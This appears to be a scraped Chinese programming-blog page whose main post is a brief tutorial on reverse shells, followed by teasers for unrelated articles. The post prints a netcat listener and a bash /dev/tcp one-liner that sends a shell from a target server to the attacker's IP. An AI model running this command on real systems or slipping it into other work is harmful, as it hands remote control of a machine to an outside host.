当前位置： 首页 > news >正文

记一次反弹shell的操作【非常简单】

news 2026/2/10 2:17:47

#什么是反弹shell
通常我们对一个开启了80端口的服务器进行访问时，就会建立起与服务器Web服务链接，从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听，转而让服务器主动反弹一个shell来连接我们的主机，我们再通过接收到的shell进而来远程控制服务器。

在这里插入图片描述

反弹shell命令

首先本地进行监听：
主要是用natstat命令（也可以利用程序监听）
nc -lk 35436
在这里插入图片描述
从被攻击服务器上发起命令如下：
bash -i > /dev/tcp/{你的ip}/{你监听的端口} 0>&1 2>&1
例如：
bash -i >/dev/tcp/192.168.0.46/35436 0>&1 2>&1
在这里插入图片描述
我们的主机就会自动登录到远程机器的bash上
在这里插入图片描述

相关文章：

记一次反弹shell的操作【非常简单】

#什么是反弹shell 通常我们对一个开启了80端口的服务器进行访问时，就会建立起与服务器Web服务链接，从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听，转而让服务器主动反弹一个shell来连接我们的主机，我们再…...

编程日记 2023/9/2 10:08:06

如何排查 Flink Checkpoint 失败问题？

分析&回答 这是 Flink 相关工作中最常出现的问题，值得大家搞明白。 1. 先找到超时的subtask序号 图有点问题，因为都是成功没失败的，尴尬了。 借图： 2. 找到对应的机器和任务 方法很多，这里看自己习惯和公司提供…...

编程日记 2023/9/2 10:07:05

lazarus(pascal)和c语言读日志文件筛选保存为新文件

lazarus(pascal)和c语言读日志文件筛选保存为新文件，源于看日志每次从一个很多内容文件里查找不方便，写个代码输入时分秒参数，然后按行读取比较日志时间，当前秒和上一秒的输出保存为新文件，只保存2秒钟文件小多了&…...

编程日记 2023/9/2 10:06:05

学习JAVA打卡第四十九天

Random类 尽管可以使用math类调用static方法random（）返回一个0~1之间的随机数。（包括0.0但不包括0.1），即随机数的取值范围是[0.0，1.0]的左闭右开区间。 例如，下列代码得到1～100之间…...

编程日记 2023/9/2 10:05:04

Golang数据结构和算法

Golang数据结构和算法 数据的逻辑结构和物理结构常见数据结构及其特点算法的时间复杂度和空间复杂度Golang冒泡排序Golang选择排序Golang插入排序Golang快速排序Golang归并排序Golang二分查找Golang sort包Golang链表Golang container/list标准库Golang栈stackGolang二叉搜索树…...

编程日记 2023/9/2 10:04:03

python 装饰器

装饰器是 Python 中一种功能强大的语法特性，它可以用于在不修改原函数代码的情况下，动态地扩展或修改函数的行为。装饰器本质上是一个函数或类，它接受一个函数作为参数，并返回一个新的函数或类。 下面是装饰器的详细解释和示例&a…...

编程日记 2023/9/2 10:03:01

iOS如何获取设备型号的最新方法总结

每一种 iOS 设备型号都有对应的一个或多个硬件编码/标识符，称为 device model 或者叫 machine name 通常的做法是，先获取设备的 device model 值，再手动映射为具体的设备型号（或者直接把 device model 值传给后端，让后…...

编程日记 2023/9/2 10:02:01

SpringBoot之RestTemplate使用Apache的HttpClient连接池

SpringBoot自带的RestTemplate是没有使用连接池的，只是SimpleClientHttpRequestFactory实现了ClientHttpRequestFactory、AsyncClientHttpRequestFactory 2个工厂接口，因此每次调用接口都会创建连接和销毁连接，如果是高并发场景下会大大降低性…...

编程日记 2023/9/2 10:00:59

第49节：cesium 倾斜模型osgb转3dtiles，并加载（含源码+视频）

结果示例： 完整步骤： 1、启动并登陆cesiumlab 2、准备OSGB模型数据（含下载地址） 链接：https://pan.quark.cn/s/46ac7b0b2bed 提取码：TvWL3、倾斜模型切片 选择倾斜模型data文件夹 空间参考、零点坐标 默认 强制双面关闭、无光照 打开...

编程日记 2023/9/2 9:59:58

零信任安全模型详解：探讨零信任安全策略的原理、实施方法和最佳实践，确保在网络中实现最小特权原则

在当今日益复杂和危险的网络环境中，传统的网络安全模型已经不再能够满足对抗不断进化的威胁。零信任安全模型应运而生，以其强调“不信任，始终验证”的理念，成为了当今信息技术领域中的热门话题。本文将深入探讨零信任安全模型&…...

编程日记 2023/9/2 9:58:56

01_nodejs简介

01 【nodejs简介】 1.前言 Node 的重要性已经不言而喻，很多互联网公司都已经有大量的高性能系统运行在 Node 之上。Node 凭借其单线程、异步等举措实现了极高的性能基准。此外，目前最为流行的 Web 开发模式是前后端分离的形式，即前端开发者…...

编程日记 2023/9/2 9:57:55

企业架构LNMP学习笔记4

企业服务器LNMP环境搭建： 常见的软件架构： 1）C/S: client/server 2）B/S: browser/server 不管是C还是B，都是属于客户端属于前端。那么运维人员主要是负责和管理的Server端，也统称为服务器端。为了快速的…...

编程日记 2023/9/2 9:56:54

探索UniApp分包

目录 什么是UniApp分包？ UniApp分包的原理 优势 如何使用UniApp分包 1.manifest.json文件配置 2.静态图片资源分包注意事项 3.pages.json配置 结论 探索UniApp分包：优化移动应用性能与用户体验 在移动应用开发领域，性能和用户体验是至…...

编程日记 2023/9/2 9:55:53

uniapp 支持图片放大

<view class"list" v-for"(item, index) in urls" :key"index"><image :src"item" click"viewImg(item, index)" disabled></image></view> js // 预览大图 viewImg(data, index) {uni.previewImag…...

编程日记 2023/9/2 9:54:52

Oracle数据泵备份恢复(导出导入)详细语句

数据泵备份 查询已存在备份目录 select * from dba_directories;新建备份目录 create directory dbbak as /u01/dbbak;注意&#xff1a;在本地新建对应的物理目录 给指定用户赋权 grant read, write on directory dbbak to testuser; 或者直接把目录的权限设置为公开 g…...

编程日记 2023/9/2 9:53:50

【JS案例】JS实现积分抽奖(内附源码)

JS案例实现积分抽奖 &#x1f31f;效果展示 &#x1f31f;HTML结构 &#x1f31f;CSS样式 &#x1f31f;实现思路 &#x1f31f;具体实现 1.定义抽奖次数渲染 2.点击抽奖按钮,实现滚动抽奖效果 3.弹窗处理 &#x1f31f;完整代码 &#x1f31f;写在最后 &#x1f3…...

编程日记 2023/9/2 9:52:49

angular抛出 ExpressionChangedAfterItHasBeenCheckedError错误分析

当变更检测完成后又更改了表达式值时&#xff0c;Angular 就会抛出 ExpressionChangedAfterItHasBeenCheckedError 错误。Angular 只会在开发模式下抛出此错误。 在开发模式下&#xff0c;Angular 在每次变更检测运行后都会执行一次附加检查&#xff0c;以确保绑定没有更改。这…...

编程日记 2023/9/2 9:51:48

动态链接库的__declspec(dllexport)关键字的概念

在 Windows 操作系统下&#xff0c;创建一个动态链接库&#xff08;DLL&#xff09;项目时&#xff0c;您需要通过 __declspec(dllexport) 关键字来显式地标记希望在 DLL 中 公开 的函数、类、变量等符号。这是因为在默认情况下&#xff0c;编译器会将函数和符号视为 私有&…...

编程日记 2023/9/2 9:50:45

群晖NAS：DS Video、Jellyfin等视频电影电视剧海报、背景墙搜刮器

群晖NAS&#xff1a;DS Video、Jellyfin等视频电影电视剧海报、背景墙搜刮器 本文只使用豆瓣插件方式&#xff0c;系统默认的 The Movie Database 好注册&#xff0c;但是授权码输入后域名不通过&#xff0c;很麻烦。 1、插件地址&#xff1a; https://www.aliyundrive.com/s…...

编程日记 2023/9/2 9:49:42

WEBGL（3）：鼠标动态绘制点

1 实现思路 绘制单个点鼠标事件监听点击事件将点推送到数组中绘制数组中所有点 2 实现代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge&…...

编程日记 2023/9/2 9:48:40

【Python】 -- 趣味代码 - 小恐龙游戏

文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现，玩家控制一个角色（龙）躲避障碍物（仙人掌和乌鸦）。以下是代码的详细介绍：…...

编程新知 2026/2/8 20:43:07

【kafka】Golang实现分布式Masscan任务调度系统

要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 服务端程序&#xff1a; 从kafka消费者接收…...

编程新知 2026/2/8 20:41:58

React第五十七节 Router中RouterProvider使用详解及注意事项

前言 在 React Router v6.4 中&#xff0c;RouterProvider 是一个核心组件&#xff0c;用于提供基于数据路由&#xff08;data routers&#xff09;的新型路由方案。 它替代了传统的 <BrowserRouter>&#xff0c;支持更强大的数据加载和操作功能&#xff08;如 loader 和…...

编程新知 2026/2/9 6:48:42

【力扣数据库知识手册笔记】索引

索引 索引的优缺点 优点1. 通过创建唯一性索引&#xff0c;可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度&#xff08;创建索引的主要原因&#xff09;。3. 可以加速表和表之间的连接&#xff0c;实现数据的参考完整性。4. 可以在查询过程中&#xff0c;…...

编程新知 2026/1/25 4:36:37

ESP32读取DHT11温湿度数据

芯片&#xff1a;ESP32 环境&#xff1a;Arduino 一、安装DHT11传感器库 红框的库&#xff0c;别安装错了 二、代码 注意&#xff0c;DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...

编程新知 2026/1/30 8:46:45

Python如何给视频添加音频和字幕

在Python中&#xff0c;给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加&#xff0c;包括必要的代码示例和详细解释。 环境准备 在开始之前&#xff0c;需要安装以下Python库&#xff1a;…...

编程新知 2025/9/3 4:12:17

k8s业务程序联调工具-KtConnect

概述 原理 工具作用是建立了一个从本地到集群的单向VPN&#xff0c;根据VPN原理&#xff0c;打通两个内网必然需要借助一个公共中继节点&#xff0c;ktconnect工具巧妙的利用k8s原生的portforward能力&#xff0c;简化了建立连接的过程&#xff0c;apiserver间接起到了中继节…...

编程新知 2026/2/1 4:14:14

什么是Ansible Jinja2

理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具&#xff0c;可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板&#xff0c;允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板&#xff0c;并通…...

编程新知 2026/2/6 1:00:25

视频行为标注工具BehaviLabel（源码+使用介绍+Windows.Exe版本）

前言&#xff1a; 最近在做行为检测相关的模型&#xff0c;用的是时空图卷积网络&#xff08;STGCN&#xff09;&#xff0c;但原有kinetic-400数据集数据质量较低&#xff0c;需要进行细粒度的标注&#xff0c;同时粗略搜了下已有开源工具基本都集中于图像分割这块&#xff0c…...

编程新知 2026/2/6 5:04:18

渗透实战PortSwigger靶场：lab13存储型DOM XSS详解

进来是需要留言的&#xff0c;先用做简单的 html 标签测试 发现面的</h1>不见了 数据包中找到了一个loadCommentsWithVulnerableEscapeHtml.js 他是把用户输入的<>进行 html 编码&#xff0c;输入的<>当成字符串处理回显到页面中&#xff0c;看来只是把用户输…...

编程新知 2026/2/4 18:11:56